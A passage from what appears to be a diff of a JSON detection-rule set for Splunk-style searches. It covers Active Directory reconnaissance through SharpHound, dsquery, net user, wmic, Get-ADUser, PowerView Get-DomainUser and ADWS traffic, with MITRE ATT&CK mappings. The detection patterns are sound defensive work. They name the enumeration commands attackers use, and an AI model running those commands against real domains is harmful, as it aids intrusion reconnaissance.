- { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound file modifications identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Detect SharpHound Usage", - "description": "The following analytic detects the usage of the SharpHound binary by identifying its original filename, `SharpHound.exe`, and the process name. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process metadata and command-line executions. SharpHound is a tool used for Active Directory enumeration, often by attackers during the reconnaissance phase. If confirmed malicious, this activity could allow an attacker to map out the network, identify high-value targets, and plan further attacks, potentially leading to privilege escalation and lateral movement within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=sharphound.exe OR Processes.original_file_name=SharpHound.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_sharphound_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential SharpHound binary identified on $dest$", - "risk_score": 24, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery with Dsquery", - "description": "The following analytic identifies the execution of `dsquery.exe` with command-line arguments used to discover domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to map out domain users, which is a common precursor to further attacks. If confirmed malicious, this behavior could allow attackers to gain insights into user accounts, facilitating subsequent actions like privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"dsquery.exe\" AND Processes.process = \"*user*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_dsquery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery With Net App", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments used to query domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could allow attackers to map out user accounts, potentially leading to further exploitation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND Processes.process = \"* user*\" AND Processes.process = \"*/do*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_net_app_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Domain Account Discovery with Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments used to query for domain users. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of domain account discovery. This activity is significant as it often precedes lateral movement or privilege escalation attempts by adversaries. If confirmed malicious, this behavior could allow attackers to map out user accounts within the domain, facilitating further attacks and potentially compromising sensitive information.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"wmic.exe\" AND Processes.process = \"*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap*\" AND Processes.process = \"*ds_user*\" AND Processes.process = \"*GET*\" AND Processes.process = \"*ds_samaccountname*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_account_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get ADUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to enumerate domain users via the `Get-ADUser` cmdlet. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an attempt by adversaries to gather information about domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, enabling attackers to identify high-value targets and plan subsequent attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-ADUser*\" AND Processes.process = \"*-filter*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get ADUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-AdUser` PowerShell cmdlet, which is used to enumerate all domain users. It leverages PowerShell Script Block Logging (EventCode=4104) to identify instances where this command is executed with a filter. This activity is significant as it may indicate an attempt by adversaries or Red Teams to gather information about domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance and potential exploitation of user accounts within the domain.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-aduser*\" ScriptBlockText = \"*-filter*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"get-aduser\" for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get DomainUser with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to enumerate domain users via the `Get-DomainUser` command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams using PowerView for Active Directory discovery. If confirmed malicious, this could allow attackers to gain situational awareness and identify valuable targets within the domain, potentially leading to further exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-DomainUser*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainuser_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Get DomainUser with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainUser` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is part of PowerView, a tool often used for domain enumeration. The detection leverages PowerShell operational logs to identify instances where this command is executed. Monitoring this activity is crucial as it may indicate an adversary's attempt to gather information about domain users, which is a common step in Active Directory Discovery. If confirmed malicious, this activity could lead to further reconnaissance and potential exploitation of domain resources.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-DomainUser*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainuser_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"*Get-DomainUser*\" for user enumeration on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "GetWmiObject DS User with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments used to query domain users via the `Get-WmiObject` cmdlet and `-class ds_user` parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain users, which is a common step in Active Directory Discovery. If confirmed malicious, this could lead to further attacks, including privilege escalation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*get-wmiobject*\" AND Processes.process = \"*ds_user*\" AND Processes.process = \"*root\\\\directory\\\\ldap*\" AND Processes.process = \"*-namespace*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_user_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "GetWmiObject DS User with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` cmdlet with the `DS_User` class parameter via PowerShell Script Block Logging (EventCode=4104). It leverages logs to identify attempts to query all domain users using WMI. This activity is significant as it may indicate an adversary or Red Team operation attempting to enumerate domain users for situational awareness and Active Directory discovery. If confirmed malicious, this behavior could lead to further reconnaissance, enabling attackers to map out the network and identify potential targets for privilege escalation or lateral movement.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*get-wmiobject*\" ScriptBlockText = \"*ds_user*\" ScriptBlockText = \"*-namespace*\" ScriptBlockText = \"*root\\\\directory\\\\ldap*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_user_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "powershell process having commandline for user enumeration detected on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "SchCache Change By App Connect And Create ADSI Object", - "description": "The following analytic detects an application attempting to connect and create an ADSI object to perform an LDAP query. It leverages Sysmon EventCode 11 to identify changes in the Active Directory Schema cache files located in %LOCALAPPDATA%\\Microsoft\\Windows\\SchCache or %systemroot%\\SchCache. This activity is significant as it can indicate the presence of suspicious applications, such as ransomware, using ADSI object APIs for LDAP queries. If confirmed malicious, this behavior could allow attackers to gather sensitive directory information, potentially leading to further exploitation or lateral movement within the network.", - "search": "`sysmon` EventCode=11 TargetFilename = \"*\\\\Windows\\\\SchCache\\\\*\" TargetFilename = \"*.sch*\" NOT (Image IN (\"*\\\\Windows\\\\system32\\\\mmc.exe\")) |stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename EventCode process_id process_name dest | 